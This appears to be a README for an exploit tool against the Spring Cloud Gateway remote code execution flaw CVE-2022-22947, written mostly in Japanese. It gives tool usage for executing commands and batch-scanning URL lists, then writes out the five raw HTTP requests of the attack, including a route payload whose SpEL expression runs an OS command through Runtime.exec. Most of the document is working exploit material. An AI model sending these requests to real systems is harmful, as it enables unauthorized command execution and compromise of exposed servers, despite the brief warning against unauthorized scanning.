Spring Cloud Gateway リモートコード実行の脆弱性

この脆弱性はオンラインビジネスへのリスクが高いため、無断スキャンは行わないでください

使い方

╰─ ./CVE-2022-22947 -h                                                                                                                                                                                                                                            ─╯
执行命令：./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami 
批量检测：./CVE-2022-22947 -l url.txt

脆弱性環境の起動

java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar

脆弱性は5つのリクエストに分かれています

最初のリクエスト(以下のデータパケットを送信すると、悪意のあるSpEL式を含むルートを追加できます)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366

{
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
        }],
      "uri": "http://example.com",
      "order": 0
    }

2番目のリクエスト(追加したばかりのルートをリフレッシュ)

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3番目のリクエスト(実行結果を確認)

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded

4番目のリクエスト(追加したルートをクリーンアップ)

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5番目のリクエスト(ルートをリフレッシュ)

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

謝辞

JARパッケージ from 清水川崎 ; EXP from phith0n

CVE-2022-22947-Spring-Cloud-Gateway

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